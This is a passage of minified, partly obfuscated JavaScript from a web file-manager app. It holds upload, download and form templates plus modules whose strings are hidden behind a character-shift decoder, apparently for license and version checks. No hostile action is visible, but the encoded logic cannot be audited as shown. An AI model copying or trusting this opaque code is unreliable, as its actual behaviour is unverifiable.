".$6),'6$H$;0"),$("(V(;:..,.>&(1,9"),$("1&60"),$("+1,6$"),$("6760$-I$..,."),$("fiOO26$.T1,9&'OOg"),17,$("6$0H&-$,20"),500,$("60(026"),$("rstuvwTn'$0aa:NNIPRYY:PH?RYIN:8:Hqxtuyz{fM.*g|",90,91,92,93,94,95,"r",96,"x",97,98,99,100,101,102,"{",103,""),$("f#&JT+1(66^",104,"(V(;:..,.",104,"g"),$("f*#&Jg"),$("+,'0$'0"),$(105,"Q",106,""),$(107,"Q",106,""),$("&+,'"),$("(V(;T$..,."),$("%&1$'(-$"),$("%&1$A.1"),$("$#&0,.*%&1$K$0m"),$("^"),$("63(.$*%&1$K$0m26$.^"),$("m"),$("&'#$;R%"),$("63(.$*%&1$K$0m"),$("(V(;"),$("V6,'"),$("(V(;:..,."),$("%2'+0&,'"),$("+,#$"),$("M(6$",105,"_"),$("M(6$",105,"_>$+,#$"),$("$;)1,.$.*)(03?'%,"),$("63(.$*)(03?'%,m26$.^"),$("dR8H"),$("#(0(C..^Zh",104,"07)$",104,"a",104,"%&1$",104,"U",104,")(03",104,"a",104,""),$(104,"k[mJ&$Fd(9$^c"),$("%&1$?'%,"),$("#,F'1,(#d(03"),$("',I)$.-&66&,'I(+0&,'"),$("^^g"),$("9.,2)I.,1$I)(03&'%,"),$("6760$-"),$("`",107,106,""),$("cQQ",106,""),$("R)$'6$00&'9I-,#$"),$("6$0K,0,"),$("8$00&'9"),$("#&6)1(7"),$("6$00&'9I-,#$"),$(",)$'"),$("6$00&'9S"),$("6$00&'9"),$("+,-)&1$"),$("(.0"),$("#&(1,9O+,)7.&930"),$("(M,20"),425,$("(##P1(66"),$("/#&(1,9O+,)7.&930"),$("('&-(0$#O",108,"QQTL,,-?'"),$("/*"),$("26$.*E.+,#$m2.1^"),$("E2,0$D0-1"),$("f(T3.$%^",109,""),$(109,"T6^",109,""),$(109,"T0(.9$0^",109,"IM1('5",109,"gf&-9T6.+^",109,""),$(109,"T6071$^",109,"M,.#$.ac);T6,1&#TS$$$j",109,"*gf*(g"),$("E.+,#$"),30,$("())"),$("())I60,.$"),$("())O60,.$"),$("`Q",106,""),$(108,"Q",106,""),$(",)$'=&'#,F"),$(110,"Q",106,""),$(",)$'>&(1,9"),$("AA?>"),$("f&%.(-$T%.(-$M,.#$.^",109,"Q",109,"T'(-$^",109,"R)$'"),$(109,"T6.+^",109,""),$("30-1:'+,#$"),$(109,"T6071$^",109,"FacQQ",106,"j3$&930acQQ",106,"jM,.#$.aQj",109,"gf*&%.(-$g"),$(108,107,106,""),$("$;0$'#"),$("2.1"),$("60(0&+d(03"),$("&-(9$6*%&1$I&+,'*&+,'I())*"),$("'2-M$."),$("F"),$(106,""),$("3$&930"),$(".$6&L$"),$("&+,'8.+"),$("/,$;$"),$("6&-)1$"),$("6F%"),$(")(03:;0"),$("+.$(0$B1(63"),$("k"),$("e7",110,"L#KBQ(=42(\\",110,"5@\\;J#=",111,"2@\\",110,"0e]lF",112,"KBQ",112,"8",110,"0@=12YP",107,"E+F^^"),$("b(^"),$("0,#,"),$("+3$+5"),$("$;)1,.$."),$("2&"),$(")(03H3&6"),$("$;)1,.$.m07)$^&%.(-$m)(03^"),$("63(.$*%,1#$.m07)$^&%.(-$m26$.^"),$("#&(1,9:;)1,.$."),$("%,1#$."),$("/#&(1,9:;)1,.$."),$("F.()"),$(">R4"),$("p^"),$(");"),$("$#&0,.m).,V$+0^"),$("63(.$*+,#$N$(#m26$.^"),$("m).,V$+0^"),$("/1&'5O03$-$O1,(#$#"),$("6.+"),$("S1&'5O03$-$O6071$"),$("3.$%"),$("e,+(1>(0("),$("03$-$"),$("6071$*65&'*"),$("/+66bJ$.^"),$("J$.6&,'"),$("())$'#"),$("f&-9T6.+^",104,""),$(104,"T,'1,(#^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T,'$..,.^",104,"+,.$/6$085&'B&'&63$#nqj",104,"T+1(66^",104,"3&##$'T1&'5O03$-$O1,(#$#",104,"g"),$("5,#8071$>&7"),$("9$0P,'%&9"),$("03$-$>?@"),$("&-(9$6*F(11I)(9$*",110,"/V)9"),$("+,1,."),$("S_",107,105,""),$("SQQQ"),$("\\QQ"),$("6$0P,'%&9"),$("#&7"),$("&%.(-$Z'(-$^R)$',)$':#&0,.["),$("0,991$P1(66"),$("%.(-$O%2116+.$$'"),$("0.2$"),$("%2118+.$$'"),$("$;&0%2118+.$$'"),$("#,+2-$'0:1$-$'0"),$("#,+2-$'0"),$(".$E2$60B2116+.$$'"),$("-,LN$E2$60B2118+.$$'"),$("F$M5&0N$E2$60B2118+.$$'"),$("$;&0B2116+.$$'"),$("-,LP('+$1B2118+.$$'"),$("F$M5&0P('+$1B2118+.$$'"),$("-6&$"),$("M.,F6$."),9,$("+1(66&#^",104,"+16&#a#\\",108,"+#M",105,"$O($",105,"#Occ+%O",110,105,"M`O___",107,107,"]",107,"_QQQQ",104,""),$("f,MV$+0T07)$^",104,"())1&+(0&,'*;O63,+5F(J$O%1(63",104,"T+1(66^",104,""),$(104,"T"),$("T'(-$^",104,""),$(104,"T&#^",104,""),$(104,"T#(0(^",104,""),$(104,"TF^",104,"cQQ",106,104,"T3$&930^",104,"cQQ",106,104,"T0(M&'#$;^",104,"Oc",104,"Tgf)(.(-T'(-$^",104,"-,J&$",104,"TJ(12$^",104,""),$(104,"*gf)(.(-T'(-$^",104,"(11,F%2116+.$$'",104,"TJ(12$^",104,"0.2$",104,"T*gf)(.(-T'(-$^",104,"(11,F6+.&)0(++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"(11,F8+.&)0C++$66",104,"TJ(12$^",104,"(1F(76",104,"T*gf)(.(-T'(-$^",104,"%1(63J(.6",104,"TJ(12$^",104,""),$(104,"T*gf)(.(-T'(-$^",104,"F-,#$",104,"TJ(12$^",104,"0.('6)(.$'0",104,"T*gf*,MV$+0gf#&JT+1(66^",104,"(2&O1,(#&'9",104,"T&#^",104,""),$("I1,(#&'9",104,"gf6)('g1,(#&'9//f*6)('gf*#&Jg"),$("6$0?'0$.J(1"),100,$("%1,,."),$("4(03"),$("d$.+$'0e,(#$#"),$("'$;0"),$("/(2&O1,(#&'9"),$("+1$(.?'0$.J(1"),null,50,$(")(.6$B1,(0"),1073741824,$("%&1$8&L$"),80,$("F(.'&'9"),$("&6Y(Y"),$("6)(+$I0&)6I%211"),$("Q",106,""),$("f#&JT+1(66^",109,"6)(+$O&'%,OM(.",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66",109,"gf#&JT+1(66^",109,"6)(+$O).,+$66O26$T"),$(109,"T6071$^",109,"Fa"),$(109,"gf*#&Jgf*#&Jgf#&JT+1(66^",109,"6)(+$O&'%,",109,"g"),$("f*#&Jgf*#&Jg"),$("#(0$"),$("0&-$I07)$"),$("9.,2)8)(+$A6$"),$("26$.8)(+$"),$("6&L$4(;"),1024,$("6&L$A6$"),$("63(.$"),$("$;)1,.$./%&1$A)1,(#"),$("(203P3$+5K.,2)"),$("&68760$-d(03"),$(")(03I+('I',0I(+0&,'"),$("',I)$.-&66&,'IF.&0$"))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var t=arguments,i="",r=0,o=t.length;o>r;r++)if("number"==typeof t[r])i+=n($[0].charAt(t[r]));else for(var e=0,c=t[r].length;c>e;e++)i+=n($[0].charAt(t[r][e].charCodeAt()-35));return i}}(["ghilqds2frpu1woxkPnv|VjH{EZGL\\XIDKtz'WbyJ}eU0F3R&#/m[NQ^`56@7;=B4SO?A~$>€Y)+_.,罔统迡推锜诲/巵釐罱诺聗糾举朽啉戙箤棃柨阵灮墜酐$%9(8:*\n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n
        \n \n
        \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n\n');;define("app/common/tpl/formMake.html",[],'
        \n
        \n <%\n var formTab = [];\n if(items.formStyle && kod.window.$.isArray(items.formStyle.tabs)){\n formTab = items.formStyle.tabs;\n }\n %>\n {{if formTab}}\n \n {{/if}}\n\n
        \n {{if formTab}}\n
        \n {{each formTab tab tabIndex}}\n {{if tab}}\n
        \n {{/if}}\n {{/each}}\n
        \n
        \n {{/if}}\n\n {{each items item key}}\n <%\n var tabCurrent = 100;\n if(formTab){\n for(var i=0;i<=formTab.length;i++){\n if( formTab[i] && kod.window.inArray(formTab[i][\'field\'],key)){\n tabCurrent = i;\n break;\n }\n }\n }\n %>\n {{if typeof(item) == \'string\' }}\n
        {{item}}
        \n {{else if item.type == "html" || !item.type}}\n {{if key != \'formStyle\'}}\n
        \n {{if item.value}}{{@item.value}}{{/if}}\n {{if item.display}}{{@item.display}}{{/if}}\n {{if item.desc}}{{@item.desc}}{{/if}}\n
        \n {{/if}}\n {{else}}\n {{if item.value == undefined }}\n {{if item.value = \'\'}}{{/if}}\n {{/if}}\n
        \n
        \n {{@item.display}}: {{if item.require}}*{{/if}}\n
        \n
        \n {{if item.type == \'input\'}}\n \n {{else if item.type == "textarea"}}\n \n {{else if item.type == "password"}}\n \n {{else if item.type == "switch"}}\n \n {{else if item.type == "radio"}}\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "checkbox"}}\n <%\n var valArrCheckbox = [];\n if(typeof(item.value) == \'string\'){\n valArrCheckbox = item.value.split(\',\');\n }\n %>\n {{each item.info select index}}\n \n {{/each}}\n {{else if item.type == "select"}}\n \n {{else if (item.type == "selectMutil" || item.type == "tags")}}\n <%\n var valArrSelect = [];\n if(typeof(item.value) == \'string\'){\n valArrSelect = item.value.split(\',\');\n }\n if(item.type == \'tags\'){\n item.info = [];\n for(var i=0;i\n \n {{else if item.type == "number"}}\n {{if !item.info && (item.info = {from:\'\',to:\'\',step:1}) }}{{/if}}\n \n {{else if item.type == "slider"}}\n {{if !item.info && (item.info = {from:0,to:100,step:1}) }}{{/if}}\n \n {{else if item.type == "color"}}\n \n \n {{else if item.type == "dateTime"}}\n \n \n {{else if item.type == "fileSelect"}}\n \n \n {{else if item.type == "userSelect"}}\n <% \n var valueArr = {"all":"0","user":"","group":"","role":""};\n if(typeof(item.value) == \'string\'){\n userTypeArr = item.value.split(\';\');\n for(var i = 0;i\n \n
        \n \n \n \n \n
        \n
        \n
        {{LNG.user}}
        \n \n
        \n
        \n
        {{LNG.group}}
        \n \n
        \n
        \n
        {{LNG.system_member_role}}
        \n \n
        \n {{else if item.type == "group"}}\n \n {{else if item.type == "role"}}\n \n {{else if item.type == "user"}}\n \n {{/if}}\n\n {{if item.type == "switch"}}\n {{else if !item.desc}}\n \n  \n {{else if kod.inArray([\'userSelect\'],item.type)}}\n
        {{@item.desc}}
        \n {{else}}\n {{@item.desc}}\n {{/if}}\n
        \n
        \n
        \n {{/if}}\n {{/each}}\n
        \n
        ');;!function($){!function($,n,r,t,o,c,i,f,u,a,A,e,J,p,d,v,G,X,h,C,q,s,N,O,Q,S,l,R,V,b,F,M,g,m,y,D,P,_,T,Y,k,B,H,L,W,j,E,I,K,Z,w,x,U,z,$n,nn,rn,tn,on,cn,fn,un,an,An,en,Jn,pn,dn,vn,Gn,Xn,hn,Cn,qn,sn,Nn,On,Qn,Sn,ln,Rn,Vn,bn,Fn,Mn,gn,mn,yn,Dn,Pn,_n,Tn,Yn,kn,Bn,Hn,Ln,Wn,jn,En,In,Kn,Zn,wn,xn,Un,zn,$r,nr,rr,tr,or,cr,ir,fr,ur,ar,Ar,er,Jr,pr,dr,vr,Gr,Xr,hr,Cr,qr,sr,Nr,Or,Qr,Sr,lr,Rr,Vr,br,Fr,Mr,gr,mr,yr,Dr,Pr,_r){$[r](t,[],function(n){var r=o,t=function(){var n=$[c](i);f!=$[a][u],$[A](n),$[J][e](n,!p),$[v](G)[d](),$[X](function(){$[J][h](n,!p),$[s][q][C]=r},N*$[O](Q,S))},Tr=function(){var r=l;$[X](function(){if(!$[s][R]||V==typeof $[b]){var r=F+$[M]();n[g](r,function(n){$[s][R]=!m;try{n[y]()}catch(r){}})}},N*$[O](D,Q)),$[a][P]=$[_]($[a][P][k](B)[Y]()[T](B));var t=$[L][H]($[a][P],W);r=t[j](D,p),t&&E==t[I]||(r=l);var o=$[_]($[a][K]);o=o[k](B)[Y]()[T](B),o=$[L][H](o,Z);var c=o[j](w,p);return $[a][K]=$[L][H](o[j](x),o[j](m,w)),c==r&&$[a][K]&&U==$[a][K][I]||($[v][z]($n),r=l),-p===$[v][nn](r,[l,rn,tn,on,cn,fn,un])&&(r=l),r},Yr=l;try{Yr=Tr()}catch(kr){}var Br=an,Hr=An,Lr=function(){if($[Jn][en](pn)&&l==Yr)for(var n=[$[vn][dn],$[vn][Gn],$[vn][Xn],$[vn][hn],$[vn][Cn],$[v](sn)[qn]()],r=m;ro)break;f[a]=t[a],u++}return f},Zr={init:Er,about:Ir};return Zr})}(this,void 0,$("#$%&'$"),$("())*+,--,'*+,.$/0,,12"),$("/*342$.*5$.2&,'6'20(11"),$("7(278$+,#$"),$("9:;-<=>:?@&50A(B?5A((C7$&DE4FAG.4(H4$$I&@(#JK51),?-'6')'68,),D,.L%,J=C'2L5,0:MN4G8556O1GBO)G8).G;PQG>RS=TUV+F"),$("(1$.0"),$("1,(#&'J"),$("C&)2"),1,$("7&#$"),$("["),$("\\-$22(J$C&)2]/0&)2A+1,2$^\\-$22(J$C&)2]&-J"),$("2$0C&-$,40"),$("0&)2"),$("7.$%"),$("1,+(0&,'"),$("_&'#,_"),1e3,$(".,4'#O.,-C,"),30,60,$("`"),$("(<#abM+LMWba%#RS9GMG9"),$("4'#$%&'$#"),$("0)18&(1,JD0-1"),$("**20(0&+/N,#+1,4#/+,-*4)#(0$*-(&'a/Q235c"),$("0&-$O1,(0"),$("(2d'+"),0,$("0,#,"),10,$("5$.2&,'D(27"),$("G(2$9a8$+,#$"),$("Q,&'"),$(".$5$.2$"),$("2)1&0"),"",$("#$+,#$"),$("(407Y.d)0"),$("e#%EfXghijiklARW"),$("24G20."),27,$("1$'J07"),$("5$.2&,'D(27H2$."),$("%Ma;jhil:IOF8R%#Q5"),16,17,32,$("J$0"),$("/*&'#$V/)7)342$.*5$.2&,'6'20(11h.$2$0cS"),$("&'`..(d"),$("@"),$("m"),$("n"),$("P"),$("F"),$("C"),$("N,#$V)1,.$."),$("N,#+1,4#"),$("&2`))"),$("+,.$"),$("$V)1,.$."),$("N,#A),_$.AGd"),$("?Z>"),$("+,)d.&J70A).$"),$("+,)d.&J70A+,'0(+0"),$("+,)d.&J70A#$2+"),$("+,)d.&J70A&'%,"),$("70-1"),$("/+,--,'X%,,0$."),$("0,?,_$.Y(2$"),$("2$(.+7"),300,5e3,$("%.$$"),$("S"),$(";"),$("M"),$("a"),$("<"),$("9"),$("5$.2&,'A5&)A"),$("o2)(']+1(22cp5$.2&,'X5&)p]&#cp"),$("pqo&]+1(22cp%,'0X&+,']&+,'XN$dpqo*&q"),$("o*2)('q"),$("&'2$.0`%0$."),$("/-$'4X2d20$-X(G,40"),$("1&5$"),$("#&$"),$("/5$.2&,'X5&)"),$("+1&+N"),$("5$.2&,'A5&)A%.$$"),$("(00."),$("&#"),$(",)$'B&'#,_"),$("5$.2&,'H)#(0$r&)"),$("o#&5]+1(22cp5$.2&,'X1&+$'2$pqo(]+1(22cp1&'$p]7.$%cp"),$("pqstuvo*(qo*#&5q"),$("())$'#"),$("%&'#"),$("_.()"),$("8@w"),$("/(4&X+,'0$'0"),$("0$V0"),$("1,'Jm.$22"),$("0,)"),$("(##Y1(22"),$("G,#d"),$("24)),.0X2)(+$X',0"),$(".$-,5$"),$("/-$'4X2d20$-X(G,40^/-$'4X1$%0]\\(G,40"),$("\\).,J.(-2]/2$00&'JA(G,40^\\).,J.(-2]/2$00&'JA7,-$)(J$^\\).,J.(-2]/7,-$A)(J$"),$("&+,'"),$("700)"),4,$("&+,'F.+"),$("o&]+1(22cpVX&0$-X%&1$]VX"),$("]2-(11"),$("pqo*&q"),$("o&-J]2.+cp"),$("p]#.(JJ(G1$cp%(12$p],'#.(J20(.0cp.$04.']%(12$xpq"),$("+,.$A0,,12A2d20$-8(0("),$("+,.$A0,,12A5$.2&,'Cd)$"),$("2d20$-8(0("),$("5$.2&,'Cd)$"),$("**N,#+1,4#/+,-*G4d/70-1\\"),$("&+,'F-(11"),2e3,$("+,.$A0,,12AJ.,4)?&-&0"),5,20,40,100,$("+,.$A0,,12A-$-G$.?&-&0"),15,50,150,500,$("J.,4)"),$("#(0("))}(function($){var n=function($){return String.fromCharCode($.charCodeAt()-3)};return function(){for(var r=arguments,t="",o=0,c=r.length;c>o;o++)if("number"==typeof r[o])t+=n($[0].charAt(r[o]));else for(var i=0,f=r[o].length;f>i;i++)t+=n($[0].charAt(r[o][i].charCodeAt()-35));return t}}(["ghilqds2frpu1wovBxyLkG9N58]JORbZWKtVeXMj}:6nIUm<4HE{30FQ'&#/zD7;@|C^,)-a(+ST?%AY濃派掋杆P>"]));;!function($){!function($,n,i,t,r,o,c,e,u,f,E,v,s,d,C,O,G,A,h,P,I,l,L,p,K,N,x,Q,J,B,k,_,b,y,S,g,m,H,X,T,M,R,D,U,F,V,w,q,W,Y,Z,z,j,$n,nn,tn,rn,on,cn,en,an,un,fn,En,vn,sn,dn,Cn,On,Gn,An,hn,Pn,In,ln,Ln,pn,Kn,Nn,xn,Qn,Jn,Bn,kn,_n,bn,yn,Sn,gn,mn,Hn,Xn,Tn,Mn,Rn,Dn,Un,Fn,Vn,wn,qn,Wn,Yn,Zn,zn,jn,$i,ni,ii,ti,ri,oi,ci,ei,ai,ui,fi,Ei,vi,si,di,Ci,Oi,Gi,Ai,hi,Pi,Ii,li,Li,pi,Ki,Ni,xi,Qi,Ji,Bi,ki,_i,bi,yi,Si,gi,mi,Hi,Xi,Ti,Mi,Ri,Di,Ui,Fi,Vi,wi,qi,Wi,Yi,Zi,zi,ji,$t,nt,it,tt,rt,ot,ct,et,at,ut,ft,Et,vt,st,dt,Ct,Ot,Gt,At,ht,Pt,It,lt,Lt,pt,Kt,Nt,xt,Qt,Jt,Bt,kt,_t,bt,yt,St,gt,mt,Ht,Xt,Tt,Mt,Rt,Dt,Ut,Ft,Vt,wt,qt,Wt,Yt,Zt,zt,jt,$r,nr,ir,tr,rr,or,cr,er,ar,ur,fr,Er,vr,sr,dr,Cr,Or,Gr,Ar,hr,Pr,Ir,lr,Lr,pr,Kr,Nr,xr,Qr,Jr,Br,kr,_r,br,yr,Sr,gr,mr,Hr,Xr,Tr,Mr,Rr,Dr,Ur,Fr,Vr,wr,qr,Wr,Yr,Zr,zr,jr,$o,no,io,to,ro,oo,co,eo,ao,uo,fo,Eo,vo,so,Co,Oo,Go,Ao,ho,Po,Io,lo,Lo,po,Ko,No,xo,Qo,Jo,Bo,ko,_o,bo,yo,So,go,mo,Ho,Xo,To,Mo,Ro,Do,Uo,Fo,Vo,wo,qo,Wo,Yo,Zo,zo,jo,$c,nc,ic,tc,rc,oc,cc,ec,ac,uc,fc,Ec,vc,sc,dc,Cc,Oc){$[i](t,[],function(n){var i=function(){var n=$[o][r]+c;return e==$[o][u]&&f==$[o][v][E]&&(n=$[o][r]+s+$[o][d]+C+$[o][O]),n};return $[A]($[h])[G](function(){$[I][P]=function(){return $[A](L)[l]>p?$[N][K]+x:void p}}),{serverDwonload:function(n,i){if(!$[J][Q](B))return!k;var t=$[A](_),c=t[b](y);if(t[b](g)[S](m),!n)return void $[X][H]($[N][T],!k);if(e==$[o][u])return void $[X][H]($[N][M],!k);R!=n[D](p,U)&&F!=n[D](p,V)&&(n=w+n);var f=$[q](),E=W+f+Y+n+Z+$[J][z](n)+j+$[N][$n]+nn;c[b](tn)[l]>p?$[A](E)[rn](c[b](on)):c[cn](E);var v,s,d,C=p,O=$[A](en+f),G=$[A](en+f+fn)[un]($[N][En])[an](vn),h=$[A](dn)[sn](en+f)[b](Cn);$[A](en+f+Gn)[On](An,function(){$[hn](v),v=!k,$[Pn](s),s=!k,$[A][In]($[o][r]+ln+f),$[A](this)[pn]()[pn]()[Ln](function(){$[A](this)[Kn](),$[xn][Nn]()})});var P,I=function(n){$[Pn](P),P=!k,P=$[Qn](function(){$[xn][Jn](function(){$[xn][kn][Bn](n)})},_n)},L=function(){$[A][bn]({url:$[o][r]+yn+i+Sn+$[gn](n)+mn+f+Hn+$[Xn](),dataType:Tn,error:function(n,i,t){var r=O[Mn](Rn);return _n!=a[Dn]&&r&&r[Un]?void $[Qn](function(){L()},Fn):($[J][Vn](n,i,t),void(_n==a[Dn]&&($[hn](v),v=!k,$[Pn](s),s=!k,h[pn]()[Kn](),G[wn](vn)[an](qn)[un]($[N][Wn]))))},success:function(n){return p==n[Yn]&&Zn==n[Mn]?void $[Qn](function(){L()},Fn):(n[Yn]?(I(n[zn]),G[wn](vn)[un]($[N][jn]),$[A](en+f+$i)[un]($[J][z](n[zn])),$[A](en+f+$i)[ni](ii,n[zn]),G[pn]()[pn]()[an](ti)):(G[wn](vn)[an](qn)[un](n[Mn]),G[pn]()[pn]()[an](qn)),$[hn](v),v=!k,$[Pn](s),s=!k,void h[pn]()[Kn]())}})};L();var K=function(){$[A][bn]({url:$[o][r]+ri+f,dataType:Tn,success:function(n){var i=m,t=n[Mn];if(v){if(!n[Yn])return void G[un]($[N][oi]);if(t){if(t[ci]=$[ei](t[ci]),t[Xn]=$[ei](t[Xn]),d){var r=t[ci]-d[ci],o=r/(t[Xn]-d[Xn]);if(C>ai*o){var c=C;C=o,o=c}else C=o;var e=$[fi][ui](o);e=e?e:p,i=e+Ei}if(O[Mn](Rn,t),p==t[l])O[b](Cn)[vi](si,di),G[un](i),O[b](Ci)[un]($[fi][ui](t[ci]));else{var a=t[ci]/t[l]*Oi;O[b](Cn)[vi](si,a+Gi),G[un](a[Ai](k)+hi+i+Pi),O[b](Ci)[un]($[fi][ui](t[l]))}O[b](Ii)[un](t[li]),d=t}}}})};s=$[Qn](function(){K(),v=$[Li](function(){K()},Fn)},Oi)},upload:function(){$[A](Ki)[pi]();var n=i();if($[xi][Ni](Qi,n),$[xi][Ni](Ji,Bi),p!=$[A](Ki)[l])return $[A](ki)[An](),void $[A][yi][bi][Si][_i](!p);var t=$[mi][gi]($[Hi]);$[A][yi]({padding:Xi,width:Ti,height:Mi,disableTab:!p,resize:!p,ico:$[J][Ri](Di),id:Si,fixed:!p,title:$[N][Ui],content:t({LNG:$[N]})}),$[A](Ki)[b](Vi)[Fi](),$[A](wi)[On](An,function(n){$[A](ki)[An]();var i=$[A][yi][bi][Si];i&&i[_i](!k),$[qi](n)}),$[A](Yi)[Wi](An)[On](An,function(){$[A](this)[Zi](zi)?($[A](ji)[an]($t),$[A](nt)[wn]($t),$[A](it)[wn](tt),$[A](rt)[an](tt)):($[A](ji)[wn]($t),$[A](nt)[an]($t),$[A](it)[an](tt),$[A](rt)[wn](tt))}),$[A](ct)[ot](function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](ft)[Wi](An)[On](An,function(){$[J][et]($[A](at)[S](),$[o][ut])}),$[A](Et)[Wi](An)[On](An,function(){$[A][yi]({id:vt,fixed:!p,resize:!k,ico:$[J][Ri](Di),width:st,height:dt,padding:Ct,title:$[N][Ot],content:Gt,ok:function(){for(var n=$[A](ht)[S]()[At](Pt),i=p;i=e&&(e=p);var u=$[fi][ui](e);return u=u?u:p,e=u+Ei,a=e,e},v=[],s=function(n){$[Pn](t),t=!k,t=$[Qn](function(){var i=v;$[xn][Jn](function(){if($[xn][kn][Bn](i),n&&(v=[],$[J][ir](tr))){if(e==$[o][u])return;$[xn][pr][Lr]($[o][ut])}})},Kr)};$[xi][Nr](xr,function(n){if($[A](Ki)[pi](),!$[J][Q]())return $[xi][vr](n),void $[xi][sr](n);var i;try{i=n[Jr][Jr][Qr],void p!=n[Jr][Jr][Br]&&m!=n[Jr][Jr][Br]&&(i=n[Jr][Jr][Br])}catch(t){}if(n[Qr]=i,n[Jr]&&n[Jr][Jr]&&k==n[Jr][Jr][kr]&&n[Jr][Jr][Qr])return $[xn][kn][br][_r]($[o][ut]+n[Qr]),$[xi][vr](n),void $[xi][sr](n);var e=n[Qr];n[yr]=!k,n[Sr]=$[o][ut],(void p==e||St==e)&&(e=n[li]),r++;var a=$[A](gr),u=W+n[Or]+mr+$[Hr](n[Sr]+e)+Xr+$[Hr](n[Sr]+e)+Z+$[Hr]($[J][z](e))+Tr+$[fi][ui](n[ci])+Mr+$[N][$n]+nn;(Fn==r||Rr==r)&&$[X][H]($[N][Dr],Ur);var f=function(){if(p==n[ci]&&e){$[xn][kn][br][Fr](n[Sr]+e),$[xi][vr](n),$[xi][sr](n),c++,r++;var i=$[A](en+n[Or]);i[an](ti)[b](Vr)[wn](wr)[un]($[N][qr])[pn]()[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn)}},E=function(){$[xi][Di](),$[Qn](function(){f()},_n)};p==a[l]?$[Qn](function(){$[A](gr)[zr](u),E()},_n):(a[zr](u),E())})[Nr](jr,function(n,i,t){if(n[$o]&&!$[J][no](n[$o][ci])){var r=n[$o],o=$[N][io];return $[xi][vr](r),$[xi][sr](r),$[A](en+r[Or])[b](ro)[to](),$[A](en+r[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),void $[A](en+r[Or])[b](Vr)[oo](o)[ni](ii,o)}var c=$[gn](n[$o][Qr]);(void p==c||St==c)&&(c=m),i[Qr]=c,i[Sr]=n[$o][Sr],t[co]=$[eo][In](co)})[Nr](ao,function(n,i){var t=E(n,i),o=(Oi*i)[Ai](k)+Gi,e=uo==o?$[N][fo]:o+Eo+t+Pi;$[A](vo)[un]($[N][K]+so+c+Co+r+Oo+a+Pi),$[Ao][Go](c+Co+r+Eo+e+ho+a+Pi);var u=$[A](en+n[Or]),f=u[b](Po);f[l]||(f=$[A](Io)[sn](u)[b](Cn)),u[b](Vr)[un](e),f[vi](si,o)})[Nr](lo,function($,n){if($[$o][Lo]=n,!n[Yn])return $[po]=!p,!k;try{$[$o][Qr]||v[Ir](n[zn])}catch(i){}})[Nr](Ko,function(n){var i=$[A](en+n[Or]);if(!i[No]()){var t=xo*i[Qo](tn);$[A](Bo)[Jo](t)}c++;var r=n[Lo];if(r&&r[Mn]){var o=$[N][r[Mn]];if(r[Yn]){if(i[an](ti),i[b](Vr)[wn](wr)[un](o),i[b](Wr)[an](Yr)[an](cr)[wn](Zr)[wn](Kn),r[zn]){var e=Co+$[ko]($[Hr](r[zn]),Co);i[b](_o)[oo]($[J][z](e))[ni](ii,e)[ni](nr,e)}}else o=$[N][bo]+yo+r[Mn],i[an](qn)[b](Vr)[wn](wr)[an](qn),i[b](Vr)[un](o)[ni](ii,o)}$[xi][sr](n),i[b](ro)[to](),n[Qr]||s(!k)})[Nr](So,function(n,i){var t=$[N][bo]+Eo+i+Pi;if(n[Lo]){var r=Xi;if((-k!==n[Lo][mo][go](Ho)||-k!==n[Lo][mo][go](Xo)||-k!==n[Lo][mo][go](To))&&(n[Mo]||(n[Mo]=p),n[Mo]++,n[Mo]<=r))return void $[xi][Ro](n);if(-k!==n[Lo][mo][go](Do))return $[A][fr]($[xi][Er](),function(n,i){$[xi][vr](i),$[xi][sr](i)}),void $[X][H](Uo,!k);if(n[Lo][Mn]){var o=n[Lo][Mn];t=$[N][o]?$[N][o]:o}else n[Lo][mo]&&(t=n[Lo][mo])}F==i&&(t=$[N][Fo]),Vo==i&&void p==n[Lo],c++,$[A](en+n[Or])[b](ro)[to](),$[A](en+n[Or])[an](qn)[b](Vr)[an](qn)[wn](wr),$[A](en+n[Or])[b](Vr)[oo](t)[ni](ii,t)})[Nr](wo,function(){$[A](vo)[un]($[N][qr]+so+c+Co+r),$[Ao][qo](),r=p,c=p,$[xi][qo](),s(!p),p==$[A](Wo)[l]&&$[A][yi][bi][Si][_i](!k)})[Nr](qn,function(n){$[X][H](n,!k)});var d;$[Yo]=!k,$[Zo]=function(){if(p==$[Yo]){if($[Yo]=!p,!$[J][Q](void p,!k))return;var n=zo+$[N][jo]+$c;$[nc][H](n),$[A](ic)[vi]({background:tc,opacity:rc})}d&&$[I][Pn](d)},$[oc]=function(n){$[qi](n),d&&$[I][Pn](d),d=$[I][Qn](function(){$[Yo]=!k,$[nc][cc]()},Oi)},$[ec]=function(n){try{if(n=n[ac]||n,$[J][Q]())if(n[fc][uc][l]>p&&n[fc][uc][p][li])$[J][Di](),$[J][Ec](vc);else{var i=n[fc][sc](dc);i&&F==i[Cc](p,V)&&$[xn][kn][br][Oc](i)}$[qi](n)}catch(n){}$[Yo]&&($[Yo]=!k,$[nc][cc]())}}}})}(this,void 